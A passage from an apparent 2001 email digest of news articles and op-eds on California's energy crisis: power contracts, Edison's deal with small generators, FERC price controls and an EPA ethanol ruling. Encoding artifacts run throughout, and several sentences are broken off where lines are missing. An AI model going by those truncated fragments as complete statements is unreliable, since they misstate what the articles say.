clean-air standards; increasing taxpayer subsidies for coal and nuclear pow=
er=20
and reducing investments in efficiency and renewable energy.=20
Gov. Gray Davis and the state Energy Commission have already repealed=20
California's clean-air laws during Stage 3 energy emergencies, allowed gas-=
=20
fired plants to surpass clean-air quotas as long as they sell the energy to=
=20
the state, and approved 13 new fossil-fuel fired power plants. The governor=
=20
also supports building more than 13 more power plants, 28 "emergency" plant=
s=20
and allowing diesel generators to run during Stage 3 alerts.=20
The oil and gas industries claim that we can drill for oil, burn fossil fue=
ls=20
and generate nuclear energy in ways that don't harm the environment.=20
But look at the facts:=20
-- Although natural gas burns cleaner than oil or coal, fossil fuels are=20
dirty no matter what, emitting pollutants that create soot and smog, which=
=20
could aggravate asthma and other serious health effects. Already 600,000=20
children in the state have asthma -- more fossil-fuel pollution could make=
=20
this problem worse.=20
-- Oil drilling has permanently altered the once-pristine area around Prudh=
oe=20
Bay, Alaska. British Petroleum (BP) is responsible for the second- largest=
=20
oil spill in California history and, since 1995, has paid $47 million in=20
fines for pollution violations.=20
-- Despite safety claims, no safe way exists to deal with nuclear waste fro=
m=20
nuclear power plants.=20
-- Additionally, experts estimate that U.S. oil and natural gas supplies wi=
ll=20
run out in 30 to 50 years.=20
One might get the impression that we have no choice but to "dig it out and=
=20
burn it up" to meet our energy needs.=20
But is the dirty, old fossil-fuel path really the only solution to the ener=
gy=20
crisis?=20
Absolutely not.=20
With abundant sunshine, windswept plains and plenty of geothermal heat,=20
California is a perfect place to use renewable energy.=20
The Energy Commission estimates that more than 50 percent of California's=
=20
energy needs could be met through solar, wind and geothermal energy. The U.=
S.=20
Department of Energy reports that 65 percent of the United States' energy=
=20
needs could be met from tougher auto standards, conservation and renewable=
=20
energy sources.=20
For example, by making sport utility vehicles comply with current passenger=
=20
car fuel-efficiency standards, we could save as much oil found in the Arcti=
c=20
National Wildlife Refuge.=20
The state Energy Commission estimates that we currently generate less than=
=20
half of the possible geothermal power in California. The U.S. Department of=
=20
Energy estimates that we could generate twice as much electricity as we=20
produce now from wind power.=20
Renewable energy systems can be built much more quickly than fossil-fuel=20
plants -- a few weeks for rooftop solar, six months to two years for wind a=
nd=20
one to three years for geothermal.=20
The public could get vast energy savings with more focus on energy=20
efficiency. Two conservation measures that were signed by Davis this spring=
=20
-- if implemented well -- will save enough energy to eliminate "emergency"=
=20
diesel generators and still power roughly 2 million homes.=20
This spring, the governor signed an $850 million energy conservation packag=
e=20
that included rebates for consumers who buy energy-efficient appliances and=
=20
programs to distribute energy-efficient lightbulbs.=20
Unfortunately, it is now mid-June and little has been done to implement the=
se=20
programs on a large scale, despite the program's energy-saving potential.=
=20
If we were serious about harnessing the potential of replacing 1 million=20
standard lightbulbs with compact fluorescent bulbs, for example, we could=
=20
have done any one of a number of things, including calling out the National=
=20
Guard to distribute them within a week's time. Ten percent of California's=
=20
energy is currently powered by renewable sources. Now, it is time to improv=
e=20
on that. State Sen. Byron Sher, D-Palo Alto, is sponsoring SB531, which wou=
ld=20
require that by 2010, 20 percent of California's energy come from renewable=
=20
resources, such as wind and solar power.=20
Davis should endorse Sher's bill and incorporate its elements into his ener=
gy=20
plan for California.=20
By doing this, he will send a strong message that he supports solutions to=
=20
the energy crisis that protect the public health and meet our energy needs.=
=20
Elizabeth Jones and Dan Jacobson work for CalPIRG, a nonprofit public=20
interest group. For more on energy saving programs, go to www.CALPIRG.org.=
=20
,2001 San Francisco Chronicle ? Page?A - 23=20

California governor to release details of state's power purchases=20
ALEXA HAUSSLER, Associated Press Writer
URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/news/archive/2001/06/13/n=
ation
al0729EDT0525.DTL=20
(06-13) 04:29 PDT (AP) --=20
With BC-Power-Gas Plants
SACRAMENTO, Calif. (AP) -- Gov. Gray Davis is close to releasing details of=
=20
38 long-term contracts between the state and power generators, a move that=
=20
would end a lengthy battle over whether the agreements should remain=20
confidential.=20
Davis for months had refused to release information on the contracts, but h=
is=20
aides said Tuesday the disclosure was expected this week.=20
The Los Angeles Times reported Wednesday that confidential government recor=
ds=20
show state officials agreed to contracts at prices higher than those now=20
being paid in the daily spot market.=20
The contracts, which total nearly $43 billion, could burden consumers with=
=20
relatively high utility rates if the recent trend toward lower electricity=
=20
and natural gas prices continues.=20
Records obtained by the Times show the state is committed to buying power a=
t=20
prices up to $154 a megawatt-hour during peak demand periods and more than=
=20
$95 for power at times when demand is low. In comparison, the state recentl=
y=20
purchased peak power for less than $100 an hour and less than $20 an hour a=
t=20
night when demand dropped.=20
The recent purchases reflect a drop in wholesale prices, which could rise=
=20
again this summer when temperatures climb and air conditioning use surges.=
=20
"The theme here is the governor embarked on a long-term strategy for a=20
short-term crisis," Peter Navarro, an economist at University of California=
=20
Irvine, told the Times. "They pretty much got this exactly wrong."=20
State officials defended the long-term contracts, crediting the agreements=
=20
with altering the marketplace. The contracts also have freed the state from=
=20
its nearly total reliance on the volatile spot market.=20
"This was all a well thought-through plan of action," said Davis energy=20
adviser S. David Freeman, former head of the Los Angeles Department of Wate=
r=20
and Power. "The war ain't over. But we have landed on enemy territory and w=
e=20
are rolling them back."=20
ed=20
details violated the California Public Records Act.=20
=20
,=20
opposes the release of the contract details.=20
o=20
generators Monday saying the department would ask a judge Wednesday to thro=
w=20
Meanwhile, the Times also reported Wednesday that executives and board=20
directors from power companies gained millions of dollars through stock sal=
es=20
last year.=20
State officials accuse them of profiteering from the energy crisis, but som=
e=20
executives netted upwards of $123 million in option transactions in 2000,=
=20
according to a filing with the Securities and Exchange Commission. Stock=20
prices for energy companies enjoyed robust growth last year.=20
,2001 Associated Press ?=20

Developments in California's energy crisis=20
URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/news/archive/2001/06/13/s=
tate0
944EDT0151.DTL=20
(06-13) 06:57 PDT (AP) --=20
Developments in California's energy crisis:=20
WEDNESDAY:
* No power alerts Wednesday as power reserves stay above 7 percent.=20
TUESDAY:
* Gov. Gray Davis says he will release the much-sought details of 38=20
long-term contracts between the state and power generators. Republican=20
lawmakers and several news organizations, including The Associated Press,=
=20
filed lawsuits in March saying Davis' refusal to release details of the=20
state's electricity purchases violates the California Public Records Act.=
=20
Davis has refused to release the contracts, saying that would put the state=
=20
at a competitive disadvantage in other contract talks. He now plans to ask =
a=20
judge to release the state from confidentiality agreements with generators =
so=20
he can make the details public this week.=20
* The governor's office says there is "a growing body of evidence that may=
=20
give the attorney general the opportunity to proceed with criminal as well =
as=20
civil action." The statement comes after Attorney General Bill Lockyer brie=
fs=20
the governor on the investigations into alleged price manipulation by=20
generators.=20
* Southern California Edison has reached an agreement with small power=20
generators that could ease the bankruptcy threat the utility is facing and=
=20
ensure Californians a critical source of power through the summer. The=20
California Public Utilities Commission is expected to approve the plan=20
Wednesday, requiring Edison to make partial back payments to renewable ener=
gy=20
power generators, many of which have sued the utility and curtailed power=
=20
production. The plan would raise the rates being paid to generators that us=
e=20
natural gas and offer a stable rate for five years to generators using wind=
,=20
solar, geothermal or other renewable sources.=20
* California paid a slight interest premium on a $1 billion bond sale=20
Tuesday, reflecting its ongoing energy crisis and the resulting drain on th=
e=20
state's treasury. But the rate was better than some analysts had expected,=
=20
perhaps foreshadowing a favorable reception for the $12.5 billion in bonds=
=20
the state intends to issue later this year. Those bonds will repay the=20
treasury for money California is using to buy electricity on behalf of thre=
e=20
cash-strapped utilities.=20
* A federal bankruptcy judge in San Francisco agrees to grant two energy=20
wholesalers "safe harbor" from potential conflict of interest accusations=
=20
while they continue trading PG&E stock. Representatives of Enron Corp. and=
=20
Dynegy Inc. sit on the 11-member creditors committee that plays a large rol=
e=20
in how PG&E's assets get divided up. Opponents of the order were concerned=
=20
company officials might unfairly use information gleaned from that committe=
e=20
to affect trading. Morgan Guaranty, Merrill Lynch and Bank of America also=
=20
were granted the "safe harbor" protection.=20
* Shares of Edison International rose 20 cents to close at $11.20. PG&E Cor=
p.=20
closed at $12, up 50 cents. Sempra Energy, the parent company of San Diego=
=20
Gas and Electric Co., closed at $27.20, up 48 cents.=20
* Senate Leader John Burton, D-San Francisco, is introducing three=20
energy-related measures, including a bill that would repeal a 10 percent ra=
te=20
hike scheduled to take effect next year. The 1996 electricity deregulation=
=20
law included an automatic 10 percent rate reduction until March 2002.=20
Burton's bill would remove that from state law, but the Public Utilities=20
Commission could still raise rates if commissioners felt it was needed.=20
Burton is also writing a bill to provide backup battery power for traffic=
=20
signals in some intersections to keep the lights on during blackouts. His=
=20
third measure is a resolution that voices support for Davis to commandeer=
=20
power plants under his emergency powers authority.=20
* Taco Bell Corp. fielded so many complaints about its energy surcharge tha=
t=20
it scrubbed the fees after just two days. The fast food chain on Friday=20
started adding between 10 cents and 15 cents to customer tabs at selected=
=20
Southern California restaurants to offset power cost increases.=20
* No power alerts Tuesday as power reserves stay above 7 percent.=20
WHAT'S NEXT:
* Davis asks a San Diego Superior Court judge Wednesday to release the stat=
e=20
from its confidentiality agreement with generators so the governor can=20
release details of its long-term contracts. The same judge is also schedule=
d=20
to hear arguments from Assembly Republicans and several news organizations,=
=20
including The Associated Press, that are seeking the release of the=20
contracts.=20
* PUC is expected to act Wednesday on Southern California Edison's agreemen=
t=20
with small power generators that could ease the bankruptcy threat the utili=
ty=20
is facing and ensure Californians a critical source of power through the=20
summer.=20
* Davis' representatives continue negotiating with Sempra, the parent compa=
ny=20
of San Diego Gas and Electric Co., to buy the utility's transmission lines.=
=20
* The Senate Governmental Affairs Committee, chaired by U.S. Sen. Joseph=20
Lieberman, D-Conn., holds hearings Thursday and June 20 on the power crisis=
.=20
THE PROBLEM:
=20
s=20
Southern California Edison and Pacific Gas and Electric say they've lost=20
nearly $14 billion since June to high wholesale prices the state's=20
electricity deregulation law bars them from passing on to consumers. PG&E,=
=20
saying it hasn't received the help it needs from regulators or state=20
lawmakers, filed for federal bankruptcy protection April 6.=20
Electricity and natural gas suppliers, scared off by the companies' poor=20
to=20
business customers. The state is also buying power for a third investor-own=
ed=20
utility, San Diego Gas & Electric, which is in better financial shape than=
=20
much larger Edison and PG&E but also struggling with high wholesale power=
=20
costs.=20
The Public Utilities Commission has approved average rate increases of 37=
=20
percent for the heaviest residential customers and 38 percent for commercia=
l=20
customers, and hikes of up to 49 percent for industrial customers and 15=20
percent or 20 percent for agricultural customers to help finance the state'=
s=20
multibillion-dollar power buys.=20

ENERGY REPORT=20
Chronicle Staff and News Services
URL:=20
/13/M
N226095.DTL=20
Burton bills on stoplights, price hike Senate President Pro Tem John Burton=
,=20
D-San Francisco, introduced two energy bills. One would pay for back-up=20
batteries at key intersections so they could continue operating in a=20
blackout; the other would order the Public Utilities Commission not to=20
automatically raise rates 10 percent next March, as part of the original=20
deregulation law approved in 1996.=20
Burton also introduced a resolution saying the state Senate supports Gov.=
=20
Gray Davis seizing energy plants under his emergency powers authority. Davi=
s=20
has threatened in the past to do so but now says such action could cost the=
=20
state expensive legal fees. The resolution is unlikely to sway the Democrat=
ic=20
governor.=20
Alternative generators,=20
Edison reach accord=20
Southern California Edison Co. said it reached an agreement with alternativ=
e=20
power generators that could give California a critical source of energy thi=
s=20
summer and ease the bankruptcy threat the utility is facing. The utility=20
agreed to make partial back payments to the generators, many of which have=
=20
sued the utility and curtailed power production. The California Public=20
Utilities Commission is expected to approve the plan today.=20
Hearings set on plan=20
to bail out Edison=20
The state Senate scheduled a series of hearings, beginning next week, on th=
e=20
governor's deal to bail out Southern California Edison.=20
Judge allows trading=20
by PG&E's creditors=20
Stipulating that the companies involved must set up procedures to guard=20
against misuse of confidential information, U.S. Bankruptcy Judge Dennis=20
Montali yesterday allowed members of PG&E's creditors' committee to trade i=
n=20
the utility's securities without risking their debt claims. Montali also sa=
id=20
he would probably allow a larger group of committee members, including Enro=
n=20
Corp. and Dynergy, to make energy deals that could have an impact on PG&E.=
=20
The city of San Francisco, which has sued Enron, Dynergy and other energy=
=20
dealers, claims the trading would invite conflicts of interest.=20
,2001 San Francisco Chronicle ? Page?A - 16=20

Edison reaches deal with small generators=20
GARY GENTILE, AP Business Writer
URL:=20
tate1
954EDT0229.DTL=20
(06-13) 00:03 PDT LOS ANGELES (AP) --=20
Cleaner-burning sources of electricity that were often unavailable earlier=
=20
this year because of money problems would be secure under a proposal the=20
Public Utilities Commission is expected to discuss Wednesday.=20
If the commission endorses an agreement between Southern California Edison=
=20
and small power generators, it also could help the utility avoid bankruptcy=
.=20
The deal is meant to ensure that the small generators, or "qualifying=20
facilities," keep operating.=20
Several rolling blackouts in January were triggered, in part, by the=20
unavailability of power generated by the qualifying facilities, which were=
=20
strapped for cash because they hadn't been paid by Edison and Pacific Gas &=
=20
Electric Co. The small generators, many of which have sued the utility,=20
account for about one-third of the state's power supply.=20
The proposed PUC order would raise the rates being paid to generators that=
=20
use natural gas and offer a stable rate for five years to generators using=
=20
wind, solar, geothermal or other renewable sources.=20
The proposed order would also require Edison to pay at least 15 percent of=
=20
what it owes generators.=20
The PUC action is expected to reflect elements of the Edison agreement.=20
The deal removes the threat of legal action against the utility if full=20
payment for power bought since January is made within six months after the=
=20
PUC order becomes final.=20
"I think it's a good, balanced deal for both sides and the only issue will =
be=20
making sure the PUC will adopt the deal," said Jerry Bloom, a spokesman for=
=20
the California Co-generation Council, which represents many small, natural=
=20
gas-fired power generators.=20
Edison officials agreed.=20
"We hope this agreement will help bring stability back to this segment of=
=20
California's energy market," the company said in a statement.=20
The small generators are owed more than $1 billion by bankrupt Pacific Gas =
&=20
Electric and Edison.=20
In March, the PUC ordered the utilities to make payments to the qualifying=
=20
facilities for power delivered in April and beyond. Both utilities began=20
making those payments in mid-April.=20
According to the California Independent System Operator, which manages the=
=20
state's power grid, many small generators have come back online since the=
=20
beginning of May.=20
The ISO said the small generators account for about 5,800 megawatts of=20
potential power. At times earlier in the year, as much as 3,000 megawatts=
=20
have been unavailable to the state. Since May, that number has decreased to=
=20
about 400 megawatts, or what would normally be expected because of mechanic=
al=20
problems or maintenance, according to the ISO.=20
One megawatt is enough to provide power to approximately 750 homes.=20
The agreement with Edison comes the same week the utility persuaded a state=
=20
judge to consolidate about a dozen lawsuits brought against the utility by=
=20
the qualifying facilities.=20
Once a trial judge has been appointed to hear the case, Edison intends to a=
sk=20
that another 15 or 16 other lawsuits be added, according to Barbara Reeves,=
=20
Edison assistant general counsel. The cases remain on hold until then, she=
=20
said.=20
If the PUC acts Wednesday on the Edison deal, those cases could disappear.=
=20
Bloom said that if the PUC decision is not appealed, generators have agreed=
=20
to put their lawsuits on hold for 180 days.=20
"If they pay back what they owe us, the lawsuits would be dismissed and the=
=20
claims would be settled," Bloom said.=20
Those lawsuits have been a growing source of concern for Edison, which has=
=20
been trying to avoid filing for bankruptcy protection.=20
In March, a group of qualifying facilities were one day away from filing a=
=20
bankruptcy petition when a court allowed CalEnergy to end its contract with=
=20
Edison and sell power on the open market. The victory triggered similar sui=
ts=20
by other generators and attempts by several to attach Edison's assets.=20
In May, the City of Long Beach, which sold energy it produced from a trash=
=20
facility to Edison, won an attachment of Edison's bank account in the amoun=
t=20
of $4.9 million plus interest. The company is appealing the decision.=20
Edison is also hoping the sale of $1.2 billion in bonds issued by a newly=
=20
created holding company will keep creditors at bay.=20
The utility said Tuesday it will sell the bonds in a private placement. The=
=20
bonds will be issued by Mission Energy Holding Company, a new entity create=
d=20
to shield Edison International from financial turmoil experienced by its=20
subsidiaries.=20

Governor set to reveal terms of power deals=20
Court must decide confidentiality issue=20
URL:=20
/13/M
N156901.DTL=20
Sacramento -- Gov. Gray Davis reversed course yesterday on the secrecy of=
=20
long-term energy contracts, saying he now wants to make public details of t=
he=20
deals the state has signed with electricity generators.=20
Davis and his advisers said they have signed enough contracts that releasin=
g=20
the information will not seriously jeopardize the state's bargaining=20
position. Administration officials, however, said the contracts contain=20
confidentiality clauses and they will ask a judge today to release the stat=
e=20
from those provisions.=20
Republican lawmakers and several media organizations, including The=20
Chronicle, have filed suit against Davis, demanding that the contracts be=
=20
made public.=20
"We now believe that the balance tips in favor of disclosure rather than=20
continuing to withhold the contracts," said Davis senior adviser Nancy=20
McFadden.=20
In San Francisco yesterday, Davis said he always intended to release the=20
information six months after the contracts were signed.=20
"Obviously, the market conditions are a little more favorable now," he said=
.=20
"On balance, we think it's the appropriate time to release the information.=
"=20
Davis' request will be heard at a court hearing today in San Diego on the=
=20
suits filed by the media and GOP lawmakers against Davis.=20
But it is unclear whether the judge will go along with the administration's=
=20
request or how the Davis administration will be able to proceed if it is=20
denied.=20
Paula Hall-Collins, a spokeswoman for Williams Co., said the energy company=
=20
will monitor the court hearing.=20
"We maintain that the contracts contain proprietary information," she said.=
=20
Patrick Dorinson, a spokesman for Mirant, also expressed concern about what=
=20
information might be released.=20
"We think it is important for the people of California to have information =
on=20
revenue and capacity information, but we are sensitive to specific terms=20
being released that could be misused by our competitors in the marketplace,=
"=20
he said.=20
The state has been purchasing power since Jan. 17. While much of that has=
=20
been on the expensive spot market, state officials have also locked in 38=
=20
contracts for long-term deals.=20
However, no information on the terms of the contracts or how much the state=
=20
is committed to spend has been released.=20
Ray Hart, Department of Water Resources deputy director, sent letters to=20
power generators yesterday saying the department will ask a judge to throw=
=20
out the confidentiality provision in the contracts.=20
The letter states that there will be some redactions on information that is=
=20
considered proprietary.=20
McFadden said the move was not made because the state was concerned about=
=20
losing its lawsuits.=20
She said she expected the court to release the state from the confidentiali=
ty=20
agreement. The governor's office then would release the documents as early =
as=20
this week, she said.=20
Lawmakers also have been demanding the release of the information so that=
=20
they can proceed on a plan to keep Southern California Edison out of=20
If the judge refuses to release the state from the confidentiality clause,=
=20
the administration will negotiate with the generators individually to allow=
=20
the contracts to be made public, McFadden said.=20
But Terry Francke, general counsel with the California First Amendment=20
Coalition, said he would be surprised if a judge allowed the request.=20
"I don't believe the court would simply absolve a party from a contractual=
=20
agreement at a proceeding where the other party is not present," he said.=
=20
Francke also questioned whether the state had the right to sign contracts=
=20
containing a confidentiality clause.=20
"There is a very serious question as to whether the state of California can=
=20
legally in effect promise to ignore the Public Records Act," he said.=20
Roger Myers, an attorney for The Chronicle, said there is good case law in=
=20
the state supporting the releasing of the information.=20
"You can't enter into an agreement and convert public information into=20
confidential information," he said.=20
,2001 San Francisco Chronicle ? Page?A - 15=20

Senate to probe Western energy problems=20
H. JOSEF HEBERT, Associated Press Writer
URL:=20
ation
al0415EDT0480.DTL=20
(06-13) 01:15 PDT WASHINGTON (AP) --=20
For the first time since gaining control of the Senate, congressional=20
Democrats are challenging the government's handling of the Western power=20
crisis as they step up pressure on regulators to take new steps to curb=20
alleged price gouging.=20
The Senate Governmental Affairs Committee was to question energy economists=
=20
at a hearing Wednesday as part of an investigation into whether a small gro=
up=20
of power producers and marketers may have manipulated the electricity marke=
ts=20
to make huge profits.=20
The committee's chairman, Sen. Joe Lieberman, D-Conn., said the panel also=
=20
plans to examine why the Federal Energy Regulatory Commission (FERC), which=
=20
has jurisdiction over wholesale electricity rates, has not moved more=20
aggressively to monitor California's electricity deregulation plan and the=
=20
wholesale power markets.=20
Meanwhile, congressional pressure is mounting -- from both Democrats and=20
Republicans -- on FERC to take additional steps aimed at reducing Western=
=20
electricity costs, especially in California. This year California has paid=
=20
nearly $50 billion for power, compared to $7 billion during all of 1999.=20
This week wholesale electricity prices on the spot market in California fel=
l=20
to below $100 a megawatt-hour for the first time this year -- about a third=
=20
of what they have been in recent months -- and natural gas prices also ease=
d.=20
But prices were still much higher than before the region's power problems=
=20
began and there was fear they would rebound if shortages occur.=20
A megawatt is enough to serve about 600 homes. Two years ago the average=20
price of power in California was $30 a megawatt-hour.=20
FERC, which regulates wholesale electricity transactions and natural gas=20
l=20
meeting next Monday on California's power markets to decide what further=20
steps might be needed.=20
In a meeting Tuesday with more than three dozen Republican and Democratic=
=20
lawmakers from California, Vice President Dick Cheney said the administrati=
on=20
those present.=20
But it also became clear that political support was growing in Congress for=
 a=20
call for more aggressive actions by the five-member energy regulatory agenc=
y,=20
which is comprised of three Republicans and two Democrats.=20
Sen. Jeff Bingaman, D-N.M., who became chairman of the Energy and Natural=
=20
Resources Committee when Democrats assumed the Senate majority, warned that=
=20
price cap legislation would brought up for a Senate vote if FERC doesn't ta=
ke=20
additional steps to ensure prices are just and reasonable.=20
gy=20
forum Tuesday, "and we will not have to have legislation." Still, he said, =
he=20
was prepared to move a bill out of his committee before the July 4 recess t=
o=20
require FERC to impose electricity price caps based on cost of production a=
nd=20
a reasonable profit.=20
Republicans also have begun pressuring FERC amid growing fear among some=20
House GOP members about the potential political fallout in the 2002 electio=
ns=20
if high Western electricity costs are not contained.=20
=20
lawmakers urged FERC to expand the limited price mitigation program it=20
approved in April.=20
"The commission can and should do more to mitigate wholesale electricity=20
prices in Western markets," urged the GOP lawmakers, calling on FERC to=20
"ensure that rates ... are just and reasonable" throughout the 11 Western=
=20
states.=20
In April, FERC directed that wholesale electricity prices be limited in=20
California whenever power reserves fall below 7.5 percent, triggering an=20
emergency. California officials have called the limits, pegged to the cost =
of=20
producing power from the most inefficient plant, inadequate and full of=20
loopholes.=20
The letter to FERC calls for the same mitigation program to be broadened to=
=20
include all power transactions, not only those during emergencies, and for=
=20
the limits to be expanded to include other Western states.=20
On the Net:=20
Federal Energy Regulatory Commission: www.ferc.gov/=20
www.senate.gov/~gov_affairs/061301witness_list.htm=20

Expanded power price caps studied=20
Posted at 10:54 p.m. PDT Tuesday, June 12, 2001=20
BY JOHN WOOLFOLK AND JIM PUZZANGHERA=20

Under mounting criticism to ease California's power woes, federal regulator=
s=20
next week are expected to consider a major expansion of their limited price=
=20
controls, applying them around the clock and throughout the West.=20
The Federal Energy Regulatory Commission (FERC) will meet Monday to=20
reconsider its position on California, and an agency official confirmed tha=
t=20
the proposal to broaden the controls is on the table.=20
``The worm has turned politically,'' said the commission official, who spok=
e=20
on condition of anonymity, adding that ``we're moving toward 24-7 in=20
California'' and the Western region.=20
The proposal, supported by some Republican lawmakers, stops short of the=20
price cap that state Democratic leaders have been pushing for. State=20
officials were encouraged by the talks but remained skeptical.=20
``If they're finally for price relief, hallelujah,'' said Roger Salazar,=20
spokesman for Gov. Gray Davis. ``But the devil's in the details.''=20
Sen. Dianne Feinstein, D-Calif., who has sponsored legislation to force the=
=20
commission to enact temporary price caps based on production costs, also=20
expressed doubts about expanding existing measures.=20
``This sounds good on the face of it, and it may well be,'' Feinstein said.=
=20
``However, this situation is ripe for manipulation.''=20
The federal commission, charged with ensuring just and reasonable wholesale=
=20
power prices, has drawn widespread criticism from Western officials who say=
=20
it has fallen down on the job and allowed electricity prices to soar.=20
In April, the commission rejected pleas for a Western price cap and instead=
=20
approved limited ``mitigation measures'' for California that apply only=20
during power shortages.=20
Those measures, which took effect May 29, base prices on the production cos=
ts=20
of the least efficient, and therefore most expensive, power plant in=20
operation. Critics worry that this system still allows most generators to=
=20
profit excessively.=20
Political shift=20
Supporters say there's already evidence the measures are working, noting th=
at=20
power prices in California have plummeted in recent weeks.=20
But critics say that the recent price drop is likely to prove temporary and=
=20
that the approved measures will encourage power sales out of state.=20
Since the April order, the political landscape has shifted. The commission'=
s=20
Republican chairman, Curt Hebert, a free-market advocate who opposes price=
=20
caps, may lose his post to one of two new appointees to the panel who have=
=20
hinted at more flexibility.=20
In addition, Democrats, who generally favor price caps, have taken control =
of=20
the U.S. Senate, and support is building among Republicans for tougher=20
controls.=20
The idea of extending the commission's April order around the clock and=20
throughout the West has been floating around Washington for weeks. Rep. Dou=
g=20
Ose, R-Woodland, introduced legislation May 23 to do that, but it was=20
dismissed by Gov. Gray Davis as ``inadequate.''=20
Nonetheless, Ose and 14 other Republicans, including House Energy and=20
Commerce Committee Chairman Billy Tauzin, R-La., wrote to FERC chairman Cur=
t=20
Hebert on Tuesday urging him to expand the order.=20
``To ensure that prices are just and reasonable during the critical months=
=20
ahead, we believe the commission can and should do more to mitigate wholesa=
le=20
electricity prices in western markets,'' the letter said.=20
Sen. Joseph Lieberman, D-Conn., the new chairman of the Senate Governmental=
=20
Affairs Committee, will hold a hearing next Wednesday on whether the=20
commission has fulfilled its legal responsibility to ensure just and=20
reasonable electricity rates. All five commissioners and Davis will testify=
.=20
David Freeman, Davis' chief energy adviser, said that an expansion of FERC'=
s=20
April order would help but that more would still need to be done.=20
``Any strengthening of any plan is in the public interest,'' Freeman said.=
=20
``But it is not a substitute for what Gov. Davis is proposing.''=20
It was unclear Tuesday how far talks at the commission were progressing.=20
Commissioner Linda Key Breathitt said she had not had discussions with othe=
r=20
commissioners. She said she expected discussions to heat up this week as th=
e=20
commission prepares for Monday's meeting.=20
But the Los Angeles Times on Tuesday quoted two unidentified commission=20
sources as saying expanded controls would be considered.=20
The commissioners' consideration of broader price controls comes as Vice=20
President Dick Cheney dismissed price cap pleas from congressional Democrat=
s.=20
``He didn't give an inch,'' said Rep. Anna Eshoo, D-Palo Alto, a supporter =
of=20
price caps, after the hourlong meeting.=20
``If Californians are looking to this administration in the short term to b=
e=20
any kind of partner with us, to stand with the California energy consumer, =
I=20
think today's meeting dashed that hope.''=20
Cheney listens=20
Cheney repeated the administration's argument that they would not produce=
=20
more power for the state and would only discourage producers from selling t=
o=20
the region.=20
Tuesday's meeting was the first on this issue to include Democrats.=20
``The vice president listened to countless questions and suggestions, and h=
e=20
did point out that the administration was not inclined toward price caps,''=
=20
said Cheney's spokeswoman, Juleanna Glover Weiss.=20
``But the vice president did encourage every member there to continue to co=
me=20
up with any ideas that they'd like to run by the administration as we are=
=20
looking to help in any way we can.''=20
Feinstein said expanding existing measures may allow the administration to=
=20
help California without appearing to give in to demands for a ``cap.''=20
``Price mitigation appears to be a way to avoid using the words `price=20
cap,'?'' Feinstein said. ``Frankly, I don't care what they call it, as long=
=20
as they get the job done.''=20

Contact John Woolfolk at jwoolfolk@sjmercury.com or (408) 278-3410.=20

Electricity, ethanol . . . maybe there is a plot against us=20
Published Wednesday, June 13, 2001, in the San Jose Mercury News=20
YOU can't blame California for starting to feel a little paranoid.=20
Ask the Bush administration for help on electricity prices and you get a=20
lecture on the evils of intervention in free markets.=20
Ask for relief from federal rules that require unnecessary additives in=20
gasoline at extra cost, and you get ethanol force fed into your car's tank.=
=20
The Environmental Protection Agency on Tuesday denied California's request=
=20
for an exemption from a clean air rule that requires an oxygenate in=20
gasoline. The ruling means California either has to start putting ethanol i=
n=20
gasoline, or it must revert to MTBE. It is phasing out MTBE by 2003 because=
=20
the additive spreads rapidly in ground and water when gasoline spills or=20
leaks.=20
The ethanol requirement will raise gasoline prices an estimated 6 cents a=
=20
gallon, assuming there is enough ethanol to avoid shortages that would driv=
e=20
prices even higher.=20
For ethanol to displace MTBE in California would require production of an=
=20
additional 580 million gallons a year, a 25 percent increase in current=20
national output. The ethanol industry says it will be ready and able to mee=
t=20
the demand. Let's hope so.=20
State environmental officials are adamant that neither ethanol nor MTBE is=
=20
necessary for so-called clean gasoline, and that ethanol would actually=20
create slightly more air pollution.=20
As so often is the case with ethanol, economics and science had to take a=
=20
back seat.=20
Most ethanol is distilled from corn, which means that in the Midwest it is=
=20
regarded with the same reverence as wine in the Napa Valley. Any federal=20
regulation that creates a huge market for ethanol, as the EPA ruling will d=
o=20
in California, has a political bulldozer pushing it.=20
California could try to get Congress to grant the oxygenate waiver, but the=
=20
usual political calculus doesn't apply. This issue isn't partisan, it's=20
regional. Any end run around the Bush administration will smack up against=
=20
the new majority leader in the Senate, South Dakota Democrat Tom Daschle.=
=20
Daschle teamed with then-Sen. Bob Dole, a Kansas Republican, to write the=
=20
original rule. The whole California congressional delegration, on the other=
=20
hand, supported the waiver.=20
States in the Northeast had been delaying their own request for a waiver=20
while waiting to see what happened to California. They'll drop it now.=20
Winston Hickox, head of California's Environmental Protection Agency, said =
he=20
is not against ethanol, he's just against California's being required to us=
e=20
it, since there are other ways to make clean gasoline.=20
California wasn't seeking permission to let the air get dirtier. No state=
=20
works harder for cleaner air than California. What California wanted was=20
flexibility. What it got was a lesson in politics.

Well, Texas does hate California=20
BY JAN JARBOE RUSSELL=20
IN THE current undeclared war between California and Texas, Californians ha=
ve=20
good reason to fear President Bush and his many wealthy friends in the Texa=
s=20
oil patch.=20
I read that Garry South, a strategist for California Gov. Gray Davis, had=
=20
savaged Bush for not taking meaningful steps to help resolve California's=
=20
alarming energy crisis. ``Texas ain't exactly Shangri-La,'' South said.=20
No one who lives in Texas, as I have for most of my life, would ever mistak=
e=20
Texas for Shangri-La. Texans, however, do believe that California is=20
Shangri-La. And that's precisely the problem. Texans hate Shangri-La. That'=
s=20
the subtext of the message that Bush and Vice President Dick Cheney have be=
en=20
sending to California.=20
That deregulation scheme of yours? ``Harebrained,'' as a smirking Cheney=20
described it on CNN.=20
Think you guys in California can conserve your way out of your energy=20
problems? Read my lips, Bush II in effect told California when he unveiled=
=20
his national energy policy: Drill more wells. Build more power plants. Eat=
=20
less granola.=20
Want to know why else California has every reason to fear Texas? Here are=
=20
three:=20
First, our greatest fear in Texas is not earthquakes. Here, cheap oil=20
qualifies as a true natural disaster.=20
Historically, our livelihood in Texas has depended on whatever people could=
=20
take out of the ground -- this means oil, natural gas, sulfur and uranium.=
=20
This dependence has put Texas at significant odds with the rest of the=20
country.=20
Remember the last energy crisis when Jimmy Carter was president and the=20
entire East Coast feared the kinds of blackouts that California now fears?=
=20
There was so little compassion for our countrymen back then that all over=
=20
Texas, bumper stickers appeared that said: ``Freeze a Yankee in the Dark.''=
=20
The point is that when Bush says he's a compassionate conservative, you hav=
e=20
to keep in mind that in Midland -- Bush's hometown of choice -- compassion =
is=20
a relative term. It means that Bush II is too nice a guy to tell California=
ns=20
to ``Rot In the Sun,'' but he's not so compassionate that he would do=20
something truly useful -- such as limiting the price of electricity to=20
forestall summer blackouts.=20
Second, Californians should fear Bush and his merry band of Texans because =
in=20
